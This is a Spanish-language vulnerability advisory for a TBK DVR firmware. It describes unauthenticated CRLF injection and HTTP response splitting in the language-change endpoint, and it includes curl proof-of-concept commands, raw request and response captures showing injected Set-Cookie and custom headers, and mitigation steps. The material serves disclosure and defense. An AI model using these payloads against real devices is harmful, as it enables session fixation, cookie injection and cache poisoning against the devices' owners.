UIDDISCLOSE
LowCWE-113

[TBK DVR] CRLF Injection con HTTP Response Splitting - CVE-2026-####

0
Community vote
2.0
Low
Researcher's judgment · no CVSS
// Executive summary

El endpoint device.rsp?opt=changelanguage&language=<idioma>&url=<destino> refleja los parámetros language y url en los headers de la respuesta (Set-Cookie y Location, respectivamente) sin neutralizar los caracteres CR (\r) y LF (\n). Un atacante puede inyectar %0d%0a para terminar la cabecera y añadir cabeceras (y cuerpo) arbitrarios: header injection, HTTP Response Splitting e inyección de cookies.

Componente afectado:

  • Endpoint / mecanismo: GET /device.rsp?opt=changelanguage&language=X&url=Y (handler del CGI)

  • Stack / versión: firmware T2017040635_V01

  • Precondición: ninguna (endpoint accesible sin autenticación)

// Reproduction steps

Credenciales / contexto de prueba: acceso remoto no autenticado.

POC 1 — CRLF / inyección de cabecera:

curl -i "http://<dvr>:85/device.rsp?opt=changelanguage&language=11&url=evil.com%0d%0aX-Injected:%20yes"
# => Location: evil.com
#    X-Injected: yes

POC 2 — Cookie injection vía language:

curl -i "http://<dvr>:85/device.rsp?opt=changelanguage&language=11%0d%0aSet-Cookie:%20pwned%3D1&url=/login.rsp"
# => Set-Cookie: userlan=11
#    Set-Cookie: pwned=1

// Affected surface
URL
http://192.168.0.101:85/device.rsp?opt=changelanguage&language=11%0d%0aSet-Cookie:%20pwned%3D1&url=/login.rsp
Endpoint
GET /device.rsp
Parameter
?opt=changelanguage&language=11%0d%0aSet-Cookie:%20pwned%3D1&url=/login.rsp
GET /device.rsp?opt=changelanguage&language=11%0d%0aSet-Cookie:%20pwned%3D1&url=/login.rsp HTTP/1.1
Host: 192.168.0.101:85
User-Agent: Morzilla/7.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Cookie: uid=1


HTTP/1.0 302 Found
content-type: text/html; charset=UTF-8
P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT'
Location: /login.rsp
Set-Cookie:uid=1; Version=1
Set-Cookie:userlan=11
Set-Cookie: pwned=1; Expires=Fri, 02-Jan-2099 01:00:00 GMT; Version=1


<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF='/login.rsp'>here</a></BODY></HTML>
// Impact

Robo de sesión / account takeover y manipulación de cookies (fijación de sesión); cache poisoning.

// Mitigation

Actualizar a la ultima version estable disponible, la cual deberia poder cubrir minimamente:

  1. Neutralizar CR/LF (rechazar \r y \n o codificarlos) en todo valor reflejado en headers.

  2. Sanitizar language (solo entero de una lista permitida) antes de reflejarlo en Set-Cookie.

  3. Codificar/sanitizar toda salida en cabeceras HTTP (rechazo explícito de CR/LF).

Comments

0
Sign in to comment and vote.

More from @CapitanAlfa

Writeup2.0

[DVR TBK] Open Redirect ( en flujo de cambio de idioma ) - CVE-2026-####

On TBK Vision

El endpoint de cambio de idioma device.rsp?opt=changelanguage&language=<idioma>&url=<destino> copia el valor del parámetro url directamente al header Location de la respuesta, sin validar el esquema ni el dominio . Un atacante puede forjar un enlace que…

@CapitanAlfa 1 min00